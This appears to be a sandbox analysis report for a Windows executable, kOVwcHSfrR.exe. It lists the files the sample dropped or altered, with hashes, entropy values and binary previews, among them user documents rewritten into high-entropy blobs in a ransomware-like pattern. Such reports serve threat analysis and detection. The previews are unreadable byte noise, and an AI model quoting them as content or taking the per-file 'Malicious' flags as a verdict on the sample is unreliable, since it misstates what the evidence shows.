Preview:	regf..;.W..Q.".Ph...b...`...LWuG........3.@"\.[.L.}ns=.~....[s...l+...h...4....~.l.up.e.~%...e.S2......Boqx.z.P9....t.........\Q.A......#...SB..Fw.@:Y.........fw....."RN.@..Z...H.3)I...D....#X.u.sj..."...3.;...5.4\`..'..dA.x~......g..S`.. 6..a......$.=(.8.:N...9....8.r.sz2.._=X.X..V.....R.l.-\|.y_.kZNgR.......I0.4O.B.\..f.w_.F.L.+....c......q...8.d.z.....k.%...X.6.n..0.~.....1.2.......qO..,.$e.....;..D..aE&0.......'/..j.,..S.FGU..,......t...h...?5.9_O...X.e.....8I"....v.....i..'8{.....S...@`.W...l.....G"f3c.GFi..C...%...".\|.U..>...@....n.02.8q.3......x..W..eG.T....S......7.f...,......H}C........\|rcB.O].U....V.L.....}q..Yk.m...f.m..63=.t..;.H@.T..?....{a.........%~310\....b....O..D.....;..9.k...2.....k....-..X.C..........(.D../)..I...LR4)..44...2F.d....'.7.U2......s@....%.]y..>..)d.6b....j....k..4../...(..>...2.........6B."......jA\|...K.P..=uA..Q~.S..E$/.==n..F..c...'..P ......Z..#.H.m.~...'`.56....+j{........X).....O...c..5

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979828799339969
Encrypted:	false
SSDEEP:	192:S+iP/MazkCiEVx/WE9UFwyDJEqno0tUrYHLptIlENdQKErfGgz2MCt:OXMazkPEvxZIJEqnoKU0rpCS+KEbr2Mw
MD5:	3811CAC4AB4C66C2556D3C4B6CD2354B
SHA1:	0182B430E29B82897F3C052AD322E9BB96D1B516
SHA-256:	91461BC623794DEE3DAAA156CB088537EFC3CDA3E74724C6A29AB24C817B8469
SHA-512:	E51514D4C97786AFE1469D06B32E19EE4EE58B872DE6359736E84C5B2174C3FA1571A006F10C776D2FEA553DF24827398EFEB7A83DB0E8373F82E81CCE2588E8
Malicious:	false
Preview:	regf.J^w.G..).;RDW........W@A......9...:....p?c....K.l<..D~....u.4...c.k.C..6.0.A<...TG..1o.M=)YD.}...6~.U...L.).?o...&...q.......\|.x..y{4...[_.......E-.3QY..M..a...Z.H...B...#w.lK..T......%.PM\D.K....F./.......".F.7...V.H.......;...I...T.K....K.8....o..R\...WG..B....6. .....h..}!I......K.j-..XP.fl@\|m......./.c.'(..b.g,sv.....f.y.,"...'W..X..h.N......k?`k....8..5.6.H.....}.#.z.:?../.J.{....!o!.yq ..b.;......v..U....~..]w+p1.....m...w.\|-h....d9vB.m.,.Ovf.$..I....8r.U.{.O~.S2>...k.C=;l.XL.$...-..W.`4...-.....c..Q......:.v8....Q..@.^MO..<yN.Km..a3.g.... ...)..C...Z"._dN...%.y..i..T.D8rL..q...^..P...{...4...[.....R..z......iJ.....d....p.!V... .H.....@\|7...e=..Z. ..<]wN{.s...............?.5.!...8..)T...^T1A.+>M.a.jP.GO 8]=w..-.!......D..\|4_.d.....\|-..V........_.C.f.-.......&.5.(...6.a......=>..+E_..xZ.h.2..C.y;....K.Gr9[.L.p>>....^U[.G.....T.\..%.......!.i..o.J&.,.va..UsH.f.J..S...S.v^A..^..."....eZ&.d...v....:..Tr.>...C..h!x]G'.>.....>......

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_5_2023__12_20_57.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.5793506568822675
Encrypted:	false
SSDEEP:	12:AbqzvtGmbnOSOYUiM3biroMpMifZBjuyh0+6vcSW+EBUdoqw1cii9a:UOkEOYUBeroAMiDjAi+E+w1bD
MD5:	9704077EBF2502A58AF4C108E3782FD2
SHA1:	7321C00B4057B32ECDBA6A03CE1F445881B5CD7E
SHA-256:	E06FD2ADFA051D7508B69027D13996961BEFB4EB12BF7658A2834C6E9D201201
SHA-512:	C6E2EBFB8B09E5A957FA612434ED779D856739FE9AB7F24736F128E3E3D67E87A8E8A769CD4B273107A0D2ECFD81ECBD71581A2AF01FCCBAE6B861F3684FA149
Malicious:	false
Preview:	[000:.0...V@.l#-..K3....-.q..@..?.&@.on....f...KE..1.sp.[........[....a..... X.N...t.EF.?U.......bSyFy.9wt .$Q...8p.........\|..<...w.....F.HC0..9..k.7P...%.X...7..._Opmp.l...b.H..}m.....pX..#5!..K.p........UO.....Jw...}{.p.1=...#.......;wQ.8.(...o..u.....X-nJ.........o5I.P......Qh.<.^..8...H...Q._u`.....w$....".a~V...]..`f.f.\|a.y......./rqV.(.....Hzj....7...$..] ~...D.&.......K.......k.k......[C.:Z>..y.4..?...(.>..8&.........DW&... .65.\|..<.K...bg.....K.5."*.......G.YV.^..b........v.....^....vM..(.#.T.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9771072077407785
Encrypted:	false
SSDEEP:	192:1AMT5c1ePSrdkIFkYEgbcyA9R4dsrC7i3SmzgKOpOL1QFFfhH/urC:6MT+eardjbEgwyA9R4dyxdxOpTdmG
MD5:	6A3CE7204E1F2F485D18F9100932472E
SHA1:	CD3159009761D7EDCFF25C7B100048EF63ED7566
SHA-256:	51B263403C4D9D9A8B09E5A3963B991710984F8963E6E1AF6FB816E1D74087B2
SHA-512:	7C5C80EEF2948CE2B5F4481945E0131AC66EF3801E16C343B5397B9C926822F2DA1D4FE176F0FC06F9354674B9C181A3A101624FD79680854F7E7023B33F4109
Malicious:	false
Preview:	regf.[/...F;\|l.v}............nq.(...%.'.....5.H.C.3}..3\...:.4....,.W........C_x...C.0..=....I.lFi\|S..? ._....o....c?.1..P...^.^.;f.3.x..4..F>)3S..R.^K..:pC..0.h.(.G+-..t..n...'.vT8z.d.gb}["....D...Jk>.].:{).5U..<...\.\|.!>q....<PxiT.) ..(Hi.H1...I...ySo......)...<....7...q.Jk..x.a...7uix.........PD..........I..2N.+6.Y....l[o ."F....m.{......._f/.!O..y..O....,-...H&Z.&...$qS...!..%.-k..%...ao.O..{.].........b.PxcL.7.G...Y.q.K...H..=..G.yJ.\|.3..y..Ie..`..Z./o...........4h..Gtsl......]..}..P&.w..S..a9...D......zT....7.7.......t......O....../I.A..$..q@A^....M.._v6..l.Zl.r....u....x.jLr.Q...c...:q....Aagy.^O..:\..{~.x...M...@.`.!.%.....J..\|.n.y.'R.n.?8...I.f....l[i.TN..........,....{......"..Rh.l...I..j.......}I.DN....!?.....~..H..p....K=.....}.x.G.\|Ua...,W...,....5..Q.5,..$iy..p.'.;...^...j.%.B..S....$./L.S....]......7.....N[......g...Dw........L......2..Z>7.?.b)..n...K..+.=.....\..d..@ .&n/1TV7...W.)..?.....i.50. ...../._k6.^`Q9.g6...._

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204903882972437
Encrypted:	false
SSDEEP:	49152:TBrJh38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOI:tF1qd/LKNI
MD5:	7DB47FF0BE608E13A6567170BD63B446
SHA1:	F9BCB1F664053D6C2DE6061E90C3F2490773A1F9
SHA-256:	ED46AB48A686930FD92A70C67DB3A4C182E96B86086001838921844DDF362EE5
SHA-512:	17E68E39A3521714BFDD382841C0647620D7A1947631E9EB4B3E88EC7295DE0E807C4DAB237A7050B5EBD82D3B15D198F5776F6AFD4BC0AD640299ACE473A7CA
Malicious:	false
Preview:	Micro.x.....".....\.\......j...&-3..hT.w.)1W..A....O.x._.s.Owm..b..wqt$..Lt.L`.9W.5..K.....e.7.nkA.......}.FoVy>...$U..`>.7\s..Jj..%....H..:e.x..d.\...c......R..v..B.D......H1Q~.}.....).,....{..oL..W*d?LoJ.i.....W.K..J."?z+...\|..yM.J..~8h...N..!//..`F...z..X..X..B{........4....._..0..I..k0..H..0.}....v#.m..+.....@.9.F..p...y..&..K.W.'...w.9jM..ll.K.{..... .r...4......D]..).].h.>Hd%.....#...Bm....Z=8?....V.......L..k....k..3.w..JA~q\.i.M..E....S..C....0_D.?..;HL.%`..\...\...hO...h...(.......Y.....{.e%g.p..@.@U..ON.f(r:..,'Fwh...!.o..[~.(.<.k..Y.s....G.\uk4...r%/.3......;...>@C25.....$Q.G<.p).R..V.bQ.....'...\..b.......\|......G.^...,@.p...n.U<x...4..y....>. ..........P.v...Xw.}./_.........a....V@8c..1..EP..`..h.QIf....l...c..VmO....xp0.\|'{th.o....e.h........\|...F...Nu..e...Gy.G.6.\|.........`.T.t6M....j..g!..9.~..N.\|.o..P@..^C._.(..-.;..L.RiP.c.3.....7T..=.oL.l.5.; T...X...\|......'..z.n.N0....K.C...h......V..3..CV.S..n.n{l.88%&..ZO48\|....<v..}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.2050725694185225
Encrypted:	false
SSDEEP:	49152:7F38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOr:7JF1qd/LKNr
MD5:	35A4027AF38BE61C0365150E6B74AF05
SHA1:	859E03CC9870BF85427ED78E0434EAFF3F8D472E
SHA-256:	2FD1B8E9D50BDD1FCB33CD6EAFE2FB76BF2D3590B0400C1FB7370D4E08AB4202
SHA-512:	02A1CDA63093E53B8DE768813D01352E07D236928D599F6ED27E96A16AC25ADE01DE430190ADFF1A9013D7F768E6271D23C482C54650B316D7FB33072837A0B5
Malicious:	false
Preview:	Micro.....Kv.IAU'....g.....cAa....:.G.P....S.a..[.O2"..fs.....B.........s .;..:A..%5. G&.~. {.,.`......7.m-.9..$...t<4C....o.{.bW..."...'.....$....Y.....b.....A&..Y.....C.w.7p#{..9...b...........S.=Qm;.v.....W~..Lp.X.t..........#....k.n~.....r)#,^.r..b...q...../?q+.n..pB......;...B......i:......1Ftm..m..w..~..MW7..0..K....?34.A..D.......A....U....%...&...")&...{.j].O.3......9.z...=dW..v;.-..W.Z3..C$C.}.-....#.E.W3.?Pk..%....z+....-..q...m...\.oo.-...AS....},.g..uh..I..K.7H.%.. .........S........D.../..>..iM.(5.....F.......'.CNcm..Q(...5_.?^..$....xn7k......Nd.4P.}.14Gl.....K.H.Z.A...Bg....T...6GP. 3.(. ..OL...B...>.....R+..".Km.....v..v:.e[..$...00$.S..J.jl.T..O\.\.U..]...2J...W...N.Z.s....dV...?..)U....\|.K....j...G.]..<}....~..S.Y...3.5;A.~)./D.T.........7.~L./.{..i.:6.O......U+............@..J.....W\.j..D.......?......:.r`..!w.....S.u...L.0..S..].LL.......\|G...#....^H..N...w....f..(.#.....6...o....0(..C..^xr........6.h%'....3.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.663232327948021
Encrypted:	false
SSDEEP:	12288:+tkvg7R4EsLvrJQ4aKVmaS4aMz8Pg3lxJo2cvXt6:+tmEsDrBaKVzaYcAqt6
MD5:	331CD5F594ACB077482CF9D0251DC983
SHA1:	2D46831D403B5D26A2FA5FCA077FC3BB1EF07C43
SHA-256:	8065B543C69C68A5B42ACD1414169509BA960DF056C12FD30D4FD9C70DFC3D82
SHA-512:	C6465E9CDE9D9DA29EA6DFF2062B3E6D29EE50BAC4A5EFAC09BF9A109E8382FC8B5367D947A989BF9E9FE6A4397A191E5FBE30589979FE4DD5A1CB66EBC33E75
Malicious:	false
Preview:	Micro&$..>DfJ,...c..Ye...z..r...^Y.....e+.x...{5......jD$.).}"....6_....^..v..p.>stk^.B.y..$fY..0ng+7}....mP....e........T.A6pI..F.&^.b.s...b9..I..;..4...09z_.....u#...DE.....v..{.Q..@.E\.D..CWd.o...P...x9.....<.@C`....h.5........}.....N..p>.H...5....R..#...6_...o.-..l..Z.:w....s..5.C..%v...45......M.D.pD..'L{3s..}.0..DQ,..s.7...l[\MC..x=.:.(..u!....&\|/)..@.3."...c..(..s........Q.K.@.U<XL\|.x..<.pU....4t.X.w8zg>Yk.N.W.=.Z)..L<2..+G3M.I.r.#;...b../.............9]..m'...K...3..B..d+ fT..e.....F.m.R.`3M]...u.6...w:.. .X;....kz.84....88.f"b.j......x....<.I:.p:g..D.'o.i......&j.....)d....j.t)E.7.+E>J..Z~..?.I,}..:a..I{T.Kj...$.L...}#..h..?e...G.7.2.T.w..Q..4'0.... ..9.._..};..9.N!w]~....dF.j;.J.6B..Ef..t.f...`=.WG......[GK.p..`.'...#...s..k.B...H...\|."+.$.YY.......^..u.\|-.x..z`^<9F...r .]..G..\|.`z....d....E.}.Xf..'kV....0%...!0B.h.D.w.+....9...$J.e..m..b../ER$.i:K...6#.w.T.N&.<k6.....!.4.....FF.G...6j.....L..?...Cc.......U..S.*.p.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662510022274503
Encrypted:	false
SSDEEP:	12288:uYilgVuL8bR/BzveX8ZyJQ4aKVmaS4aMz8Pg3lxJo2cvXtj:uYJuLOBzv9ZyBaKVzaYcAqtj
MD5:	66EDB17BE0F4DBA17A8D42D724B0C3BA
SHA1:	263B49C46EE7021512C4AB85F22540C583600CEB
SHA-256:	FCDC4AD5C7DE79F139985DCF29E226F62F2FC8716E3EB4B93768502E17C781ED
SHA-512:	4E663B7780621B7478C9B6724D7A400F3890FE34615A52C311E1229881CC897081628936FFE77B79A1EEC450E4F6E5A9B79EC90631F6B225B4AC7296AFB40441
Malicious:	false
Preview:	Micro.3P...qLg...=.}..v....(..+!..b?R.D..........[.19.m>....J..V..8..Wr..@..m...i.].Y...85..T..y..T..\..3...L\|..b..8ub.FB......y.S.W.y:.....9&.G..Z..%.&.. ..?.E4...I.!r.t...;.M!.?..e6.V1e...;hJ..1T..ap..9G...^f..u\|...G\|.&..k\H3..........\|]..bQ.0......a...0.K......x..A0l....:.q..9...P..F_'.".t.L.D.<....f.p@W..S].PNE...Lx\|s .>..!x...&....W.'.L....kJ.\.<U..`......<.>..$.:B.".w....s.O......a..Y...{w}.e..:....M.=+....=....(...J.C'_p..hH.k.N.1.l!f...e...9N'......]E.j.c..h\.7.\.R..4......@.<...{./..{P.2..9..e.HC).-.lL...SNOpQ>(.%.2...E.K...........&.m...@zoG..=..<~...,.d>.qD..l...j....{.....O..dS....;}c_...,.cB$.w.....q....q...."....H...d..]..#........c9..VyF...)t....sS.17.A/....n....i1.K.]...@.0..+....m,..1.c.....Co.`....<']^3`.}\..[..>...........O.8U....f.\.r8......+.....JK..TE.D]...N..k.......G........._9.It..2q^m...=.DxP..L.(K....i..>......#sc...t:.....I..O......<.W......B.K._.ZF%..q....2. ..y.\|..A.(.:..K....v.F..x...V..).\.?.u.y....N.\|P.pP.

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	900
Entropy (8bit):	7.781439924398598
Encrypted:	false
SSDEEP:	24:YcrJcjEkD8iFPUZFuUDDbxcnUudBcL6Pq+zw1bD:YEKZcLhDbxiUudBcOP1zyD
MD5:	C2534570D70F52D9CD322DF918357C31
SHA1:	DEACC9DCAAC2D617485988E8E16AE67EC95594F1
SHA-256:	391C29AABC206C11A4ADC16B2F62A87871D793238BEC61BB339131A557D23CE1
SHA-512:	7CC24AF0CF500F5524B40FAC45ABB3D053336B31EDD4AEEB965EF7619E4D4FF09F8CE50D07C5F6B73465197B32AEA86CF90982B8C97687D4D8999F31FD9592B1
Malicious:	false
Preview:	{"pub.5c...d....iO[.0...G.....H...Qn.~......Uy.P.Wv......T.9.ds...M.A.......q$a...5..p.1Ko...7........bR..k.B'".....}..h'...L..._...S.hF.2.{..-...!....$..j..OL.[.%..t.0..b..(K5.w.)W.`GL...mH.....S.&.....Y..z#..][Q...=.9K........ik;.J\]...P!..o..I......Hj._.2.'qN...D.Z.....]..N P........X..uZ].(").S.....+..K,.e.@.]...@.;E./.n..2#c5v'...]...R..P;...W.}jt.(\7...}!......e>0.........Tk..t_N\|.t.@El...j..q....#.y.s....>...a......;...n._.HZ.Cy./H.T..q,.``....c..)..B............M..,i.0.YP...#...m#..!...c.u..EZ..B...-=.,...#...+.=....T....i.}/.P..Z....k.M.Gz.....% ]\\|\|]nc8......!.f.~9.......C.^5;4/.=..0...%pY....!..........G......T9.....<..........@..o.T.l.d.k-..E/=eO..^J1...$..`o.o..^...;,......O...`Xa.9......?cb.NT2...=.x.o ........f/=...mx..]~q.iVa.1.&{=........(umB.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65784
Entropy (8bit):	7.9973665827403835
Encrypted:	true
SSDEEP:	1536:+2QD+HZWaRB7Xs8LehGXPZGPJ6yGrVHPO8IJRgc:+2wYWavsFGGPJ6ycHmRgc
MD5:	FFE37B42DDC4BD646E54B370D90A593F
SHA1:	30ADDE1D449D66E3D016675EEBF2165F3145B671
SHA-256:	78F6D9E832FF7F0E18AADD3E6A5FFEB062550272FD6F33C4F924EF53C4945E7F
SHA-512:	233CB02426F66D44B9A5E7D3BC55941A5EC56970BCB66589D43393EB96C57ACF7C5E5CF624F9DF7A927913F84191F3923CFBEA69ACDBBE70D6C64FE5F35E2876
Malicious:	true
Preview:	0...0U1/)?..cG.x..........0...W...7...mI.<w........#.B.... L.../.~.DX.$....J....jaz.......8.`..."..>.:$.q.p.[.2x... .....65..."{..\.agW..JI.+i.P.o.+`M]_....3..L.."H...U.......qbs....7M.3..Y.J.B.A....).../.....j..{ ..bj?./..e;&..@.yb-R.]\|;.y.E.Q..6v.Qf..q&...%.a.8tY..Z2.E..Vn%w...hR.<t$....u..0..GQ}.$\|k.!Ue...X.......]].#.X.c-t...1e.^....V.@...q.....,L{..l.b1.U%.L.j.T<.....!.....c.Sbb7.i...wv\|..M.7..A\|M...vM9.......T...E\.v.8...jU..q.+..-..iG...j..c.,.8....g.7._oE.;<3>..y#;.HC.[.W..]..D.......Z.U.F..W.......1.TI.K .,.P+8z[9k6...3.%.@.....f.3......::.]ILf.r..R}.f....U.......n)#.-A[.3U.u.S.M..PI...'....a.c\|..0;....W...33.....D)........T_.l.<6..o.0..Q%.8....M.jS.s.#....2d.....0Z^..lv...w6...\|..E...)AO...n..\.\<....-.8k.P.P..M...jf........Y;....v..5...._YN...t`GdV..........,Om.?z.Sw.......r....z.Ym...*...J=..=+.5..V.V.{w...C...'.H6....g^...d...<..\|.Be7......,....gEZ.H.XM...Yt..u..4..t.#.C..-....P.,...&...........F.&u..x u.P..\|b..w

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.7921189151800725
Encrypted:	false
SSDEEP:	24:y2wH/QDJforWcLR55CkOa9ZXdxM2PGBKVxHDO5RhIM9hnJoQMt9m8w1bD:yDQirWcYgzXd22PGB+RD+fj9VJbO9ryD
MD5:	D9005BB8D1A2C30207D7AA07D849EE82
SHA1:	B8B569FB0AF41AF01AF77CFA815DCE2BD3FE760D
SHA-256:	0D0CE7D2432537E509D5A0490B51DF80C91EC2E20E5B0C4D60DEBB6933291393
SHA-512:	484C388B0922CFADF2988AC207CF2DEA0A8FE37400A753422147EBBE6388904AB82C3E9B3F757B09EC85B57D762026F7DE7F6C292E00AD2B12D6DF4992FEBD72
Malicious:	false
Preview:	0...0........,4.&....).....l...,.....,K@..(,....^\.nw.M..V.....qL...R..U..e.....l.&....i$...@.K...<.......y....7....ek.>.4.J...-}.$.).O..1r...=.n........P.4.+.E..G5q..^...C'.t.Q.\!....t.&..y...b.t....B............@,...r...Y]D..[v.m..8I.i'r.!.;X~.....Kn.Y;..Q.<.,..F.G...$T....&za..1..v.(X...>.32....6/ .Z..7QIj.gD.j..n,.w..0i#..e.pT......L#.(.n...b...y.+.XQcd..o..u...?{..Y..a..k...1..Qj.\L...3......F..v...Y.....o.......k.?1.p.(./M...MSk......Q..]Ojw%4.lqXt.y...../=HG{...yrJ.k.{.\|4.E#...@[....{.04...2!.R..hw...]..P....u.....Y}a..1..&.........$.n.....E(.j.BjL..h...[..\.x....k...Uv.....[...HfV..9....r.Z.Y..c...6J.....0.......qH......>.O.2..Xy!.7....]..v.S...c.....=.h.C....A.....-..0RG...&T#.....7.."..:)/..{Pm.(........p....Tf....o./.l#.{....Q.../..3.1....20.9.^.U..Y.^v\q..:EjX5%.8......#.^?...6n&u...EP..so.%....B.T\|hF..$....?..+....6".=.J0.....s{..M=..{fO/...\|.k,...s.....cO...(.F...^PT...1...t.N.5.K..f.W..\|k.QK7.a=.yq....TkVHfCI

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857884882438124
Encrypted:	false
SSDEEP:	24:FnWNi22dfC91t1ir9r6T3EebqlqoodE5bT3iVggysknw1bD:FnqizdI7FtqldoIf3iVggysknyD
MD5:	6C77E03CEED7561CAA50BA2534B8FC66
SHA1:	59ED8CF05E294D1A0AEBE33CDBE3A986D67A0012
SHA-256:	3940968FE77E35DFE64F44A441DDD87323728BFE47C5DF7C5F1FFE0C5D0374C2
SHA-512:	A240CC2D787F1E75AEEA10DF5A4FE477CE9A53764E371C4BE57E36BA758DF68F495A38B618B64174369A125000D0FF4829109BE74A385B8ECB4331FE079DDB5A
Malicious:	false
Preview:	NVWZA@d....H1.~.HO."c....z[._..r".....p...s.......d..).x.@..4v3..9.....6\_....c...kX.....?U>D.J......u.....7...#..X.`cc.8....R<&....~.?(....I.oA...!...^..D\|...0...@..0....u..G..L..7..P...'.\........T..c.V..).^.;.o6.....},....n.lF.o..9,G........... W.........S.t...jX$..Pc.4(....\s.g\|.6.&K@.f.)o.t..i.~X.,1...O.........c.9.>.....a..(^\..x.:....L...]....Qw4....M. ......Y.D.......}.,L,d.yX..I. O`...."....Y..B....HRX...Y..$..0=.'.......1..../.............H.N,....bq.`.@6.V.x....."..K.`..m.g. ..`)..........._..M....G.G....r......(.{q...h..U..<-.....?...........hj:Z..+....(.uUN.2.f.l..6..a...1 -5x.q....U~....}.......=X........%.~... .ouw....R?@.....FH."x^...5..p.W.3.S...!..J.7g.U."..0..G...g...D....`B[.1...o8d....v..+..(.......\n.....v.]Dly.....P..A2@....{M.=).t....-,Of..l..K.U., ...h%33JU..\|...(..".....2.c...F.....vF....c..].z......;d.q.rn.]fd...<..x!q?....M"......&...k ..6.&O...Cb..u^..4..1;.>.K9o.J.(ygw[J..`...~..f..^..w.Z4.6...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.docx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82910579640223
Encrypted:	false
SSDEEP:	24:3FvKQEp/lH0fpqEZ2yyP20uQhaybvH08sxF0oFAhtepFunJFH0T+Aix2w1bD:30HV0RIyyPIQ8ybPDkF/FkSWkT1iwyD
MD5:	AD1FFA82BE64A39118A534D8E172B1A3
SHA1:	525A55968551CE864F9E4B1F81D063062133CFEB
SHA-256:	DCD21B2059E0A38C3702B8550852FAA7194DCD8015A6754A58B02F48E2FC0BF2
SHA-512:	81A6CAF20ADAFB38A86B44A2A5D107943831B7FBE4FD2E9F3ED9326453E42228C1674CB3233FF835DDEFEBEB6A7DDC4492C7FF830A70AA53974935712687645A
Malicious:	false
Preview:	NWCXB.F.B.d...$......s....`Dx...y.G..uu(f.9...i9....C..S..w.J..-..I.dAG..j :P.7.0D.a.;..<tIz...T..J{...\Vmo ...o;;...aT<.&.H!...b.+,.q..7....J..4.....N.6O.`.....7...H!..&....s+j...x6@HGc .M;<.........u..C.u...8..0;..6U...x!W.uP.:."........#.P..7....?..G.../....b..wR..a6.m..4U.u.=uCf....8....j..AT.t...N.rKU.....8o......^..m...J........7}....G...0...x0......=\.Dk.o.{..<Y.t....F0...7...........QDp.g.A...j...gW[...7...B........-.I...I.T.tJU.....k[5F .......n......8AW........q\|JDv......2..C..X...0[...{......T..8..TI.......3.8.w...Oj.Z..~.M.Rx.?.........t..mlK\|^....U'8..zTn....B.....1...R..!.2?.yv.c...g.}.+.&]}F..%..\\|..;.+.....p{n%.sQ.`.s.*.P.&...P,.....?S.&...%p...J....C.P...x o.F......Hg....Ec.....j..].=G.".B...~.U...{......F5$....G..Y.\.vO....p...S...2..hw..#.0....mw..M.-Q..<-$..1.x.X().....rB7../A....v1$W/.}Z....C1p.&U.2@.fS.....I...'.Q.....e..X.T.0...l:s.b5z,..H......M..@4,..K8I.OcF..Z.....+.ld.4.U.u..?..~.=._<..0...?s.A..CH..\|

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NWCXBPIUYI.pdf

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848527456369558
Encrypted:	false
SSDEEP:	24:YJpN7ePn8gRRqr4F43mySHK/poCpOmq5q8QgHG3OJK2xt57s+U9v9YlZG3F08hB/:8pN72nx/qrfWBHzqoQgHG3OvxToJvGGb
MD5:	383FDCD53A7EEC91E6FB60BE248CB8AC
SHA1:	D2F7EBDFBC68D4359705933017C18C51331A00AF
SHA-256:	AEF9EF58994B4F26EAEDE3A623D2AED64142E40AFF63556AE2617185049796B2
SHA-512:	9A36311DFE0BDE0846A7CCEFCFD6857E3F5A7AAC69E4A28431533B7D95FDB4E20E5DF8A0AC14DBC8014F85190A5BCF3FA511562C5C40247BA87EFDFC470A9D9E
Malicious:	false
Preview:	NWCXBN.`.d..\...L...l .X.q........aXgX]....m.....O.....O.....N.f......k4..HA.6.Q..kU...6.....o-......+....8.k..'.G.....`..n...!4k..4..f8.._.1j.....Q....j%.9=)zbqD.9.C..Q`...S..<...+...j.,P....62.....y#.....]:mjA..S...N<."...P......9.f.."......~....Oy.W....$.1.".K!X.R_...?..?..".....G.Y...L...............(....K....@.9T..R.N.Y..78m..t....R.. ......{...;sYWZS...W.w....n...qf.<...R.....=E.W+.,.\^A...o..........in.ba.....SG\.Fgn:....7..h(..k.r.\|B.......o..........za&..O..W.\|.Kw.+.)^%.t.<p..z ....h.!'.T....q....P'g.d..Y.g...@..=o.S.0]0)...;.E......n......<......sz..Y+........(...d%$...[F..\X...`/.p&A..A1....;.........#,X ...".R?.!..&...nQ.[."(1........x..Qg.G6.).OV@-...e...#m.\.P..J_..H$..J.E.....n.b..>...].O.........2.........'...'........@.....Y...J.....oL.5!.D.6.^..!...j...(e6zA-..#&3j@1A%t0f.........6....M{.+.#.c.....X.........?'#....[rT.....f...$.......r5WKe...$..3M...."........H..z.&=..EY.../..b;}.....V.sL.3ua......fE.b...T]Z.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OVWVVIANZH.mp3

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848483452750624
Encrypted:	false
SSDEEP:	24:dV8kEivX9Ub3VGSh0GFdM6zQgC4vvdDxNIV5kjDqGaRJZ8zhPkrRPcww1bD:dV85MX9Ub3uCM8fRtzI/k3qNZdrZcwyD
MD5:	6C51288CB549E81CD9950074BBCB300E
SHA1:	30EB74D936DD31E9B16C45C6DE3113D1A2C2DAEE
SHA-256:	7D6F73CB0749A93CF39F12A79D4E87B17F671E26AC209668433418770499A4E3
SHA-512:	087D055FF3C7C4A47005A1BE2D67434B7B926D359275C13ABD59CA36B5B196A19D23C47F81E0CB2CCC06B0B5DE5C6B058945AD8140894BD7269390A7BD62B01B
Malicious:	false
